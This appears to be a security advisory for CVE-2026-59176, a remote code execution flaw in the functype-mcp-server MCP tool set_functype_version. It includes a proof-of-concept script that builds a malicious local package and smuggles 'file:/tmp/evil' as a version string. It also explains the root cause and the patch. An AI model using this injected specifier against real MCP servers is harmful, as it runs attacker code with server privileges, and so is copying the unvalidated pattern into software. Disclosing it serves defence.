high · 7.8CVE-2026-59176Sep 10, 2026

CVE-2026-59176: functype-mcp-server set_functype_version Package Alias RCE

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The functype-mcp-server MCP tool accepts a raw version string and pipes it straight into a pnpm install command, letting anyone who can talk to the server install an arbitrary local or remote package…

Packagefunctype-mcp-server
Ecosystemnpm
Affected<= 1.4.3
Fixed in1.4.4
CVE-2026-59176: functype-mcp-server set_functype_version Package Alias RCE

The problem

The set_functype_version tool (enabled by default, no authentication required) accepts a version parameter validated only as z.string(). No semver check, no allowlist, and no rejection of npm package-specifier aliases like file:, npm:, or URLs is performed.

The raw value is interpolated into functype@<version> and passed to pnpm add. Immediately after installation the server calls initDocsData(true), which resolves and dynamically imports functype/cli from the freshly installed location, executing any module-level code in the attacker-supplied package with full server-process privileges.

Proof of concept

A working proof-of-concept for CVE-2026-59176 in functype-mcp-server, with the exact payload below.

bash
# Step 1: create the attacker-controlled package
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF

# Step 2: send the malicious MCP tool call (via exploit.mjs)
# Key argument delivered to set_functype_version:
# { "version": "file:/tmp/evil" }
# This causes the server to run:
#   pnpm add functype@file:/tmp/evil
# then dynamically import /tmp/evil/cli.js, executing writeFileSync above.

REPO="/path/to/functype" node exploit.mjs
# exploit.mjs calls:
# client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" } })

# Verify:
cat /pwned.txt
# => RCE: mcp import-time code execution via set_functype_version

The root cause is CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). npm/pnpm package specifiers support file:, npm:, URL, and path alias syntaxes, so an unvalidated version string becomes a full package-source selector, not just a version number.

The two-step sink chain makes it critical: pnpm add functype@file:/tmp/evil replaces the functype alias in node_modules, then initDocsData(true) immediately resolves functype/cli via require.resolve and executes it through a cache-busted dynamic import().

Any module-level code in the attacker's cli.js runs at import time, before the tool call even returns.

The patch (commit c0d58ad) adds an isSafeFunctypeVersion guard that rejects any string containing /, \, :, or @ and enforces a semver/dist-tag allowlist regex before the specifier is constructed. It also adds --ignore-scripts to the pnpm add invocation as defense-in-depth.

The fix

Upgrade functype-mcp-server to version 1.4.4. The fix in commit c0d58ad9 adds a version-allowlist regex (/^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+...)/) and rejects any input containing /, \, :, or @ before constructing the package specifier.

It also passes --ignore-scripts to pnpm add to prevent lifecycle script execution from attacker packages.

Reported by jordanburke (reporter / maintainer self-disclosure).

References: [1][2][3]

Related research